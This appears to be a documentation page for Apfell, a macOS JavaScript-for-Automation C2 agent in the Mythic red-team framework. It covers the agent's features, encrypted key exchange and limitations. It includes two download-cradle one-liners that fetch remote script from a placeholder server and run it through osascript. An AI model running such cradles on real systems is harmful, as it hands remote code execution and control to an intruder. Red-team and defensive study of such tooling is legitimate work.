> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.

# apfell

> Apfell is a JavaScript for Automation (JXA) agent for macOS.

<img src="https://mintcdn.com/specteropsdocs/k1yx6gbUDEwWUifq/mythic-agents/apfell-docs/images/apfell.svg?fit=max&auto=format&n=k1yx6gbUDEwWUifq&q=85&s=68c1d97689aed85746fb830c0b3e789e" alt="Apfell Logo" width="50%" style={{ margin: "0 auto" }} data-path="mythic-agents/apfell-docs/images/apfell.svg" />

## Summary

Apfell is a JavaScript for Automation (JXA) agent for macOS.

### Highlighted Agent Features

* Similar to a PowerShell script, JXA execution goes through either a trusted, Apple signed binary (`osascript`) or through any program that imports `OSAKit`. Because JXA is an interpreted language (rather than a compiled one), it requires certain permissions (like JIT exceptions) when dealing with Apple's Notarization.
* JXA has access to almost all ObjectiveC APIs through the ObjC bridge. If at all possible, `apfell` uses API calls instead of command-line execution.
* There are multiple download cradle options:

```bash theme={null}
1. osascript -l JavaScript -e "eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://serverIPhere/filename')), $.NSUTF8StringEncoding)));"
2. curl http://serverIPHere/filename | osascript -l JavaScript &
```

* The agent uses Objective C API calls to do a full encrypted key exchange with the Mythic server with a combination of AES256 and RSA.

### Important Notes

The entire agent is single threaded due to an ObjectiveC / JXA bridge limitation that I have been unable to figure out. Be careful to not issue shell commands that require user input because you will lose your agent.

The agent cannot connect to self-signed certificates due to a limitation in overriding the NSURL connection settings for cert validation within JXA.

## Authors

@its\_a\_feature\_

### Special Thanks to These Contributors

* @xorrior
